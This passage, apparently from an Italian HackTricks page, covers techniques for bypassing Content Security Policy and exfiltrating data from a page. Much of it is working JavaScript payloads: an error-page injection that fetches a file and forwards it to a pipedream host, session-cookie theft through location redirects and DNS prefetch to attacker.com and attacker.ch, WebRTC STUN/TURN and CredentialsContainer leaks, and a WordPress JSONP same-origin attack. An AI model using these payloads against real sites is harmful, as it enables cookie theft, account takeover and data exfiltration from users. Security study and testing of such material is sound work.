Da this writeup sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + âselfâ + wordpress
SOME è una tecnica che sfrutta una XSS (o una XSS altamente limitata) in an endpoint of a page per abuse other endpoints of the same origin. Questo si ottiene caricando lâendpoint vulnerabile da una attacker page e poi ricaricando la attacker page verso il real endpoint nello stesso origin che si vuole abusare. In questo modo il vulnerable endpoint può usare lâoggetto opener nel payload per access the DOM del real endpoint to abuse. Per maggiori informazioni consulta:
SOME - Same Origin Method Execution
Inoltre, wordpress ha un endpoint JSONP in /wp-json/wp/v2/users/1?_jsonp=data che reflect i data inviati nellâoutput (con la limitazione di solo lettere, numeri e punti).
Un attacker può abuse quellâendpoint per generate a SOME attack contro WordPress e embed questo dentro <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> nota che questo script verrĂ loaded perchĂŠ è allowed by âselfâ. Inoltre, e poichĂŠ WordPress è installato, un attacker potrebbe abuse il SOME attack tramite il vulnerable callback endpoint che bypasses the CSP per dare piĂš privilegi a un utente, installare un nuovo pluginâŚ
Per maggiori informazioni su come eseguire questo attacco vedi https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
If there is a strict CSP that doesnât allow you to interact with external servers, there are some things you can always do to exfiltrate the information.
Location
Potresti semplicemente aggiornare la location per inviare al server dellâattacker le informazioni segrete:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
Puoi reindirizzare iniettando un meta tag (questo è solo un redirect, questo non farà leak di contenuto)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Per caricare le pagine piĂš velocemente, i browser risolvono in anticipo i nomi host in indirizzi IP e li memorizzano nella cache per un uso successivo.
Puoi indicare a un browser di risolvere in anticipo un hostname con: <link rel="dns-prefetch" href="something.com">
Puoi abusare di questo comportamento per esfiltrare informazioni sensibili tramite richieste DNS:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Un altro modo:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Per evitare che ciò accada il server può inviare lâHTTP header:
X-DNS-Prefetch-Control: off
Tip
A quanto pare, questa tecnica non funziona in headless browsers (bots)
WebRTC
Su diverse pagine puoi leggere che WebRTC non verifica la policy connect-src della CSP.
In realtĂ puoi leak informazioni usando una DNS request. Guarda questo codice:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Unâaltra opzione:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Il popup delle credenziali invia una richiesta DNS a iconURL senza essere vincolato dalla pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
Verifica online delle policy CSP
Creazione automatica delle policy CSP
https://csper.io/docs/generating-content-security-policy
Riferimenti
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTFâborn exploits and techniques
â
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

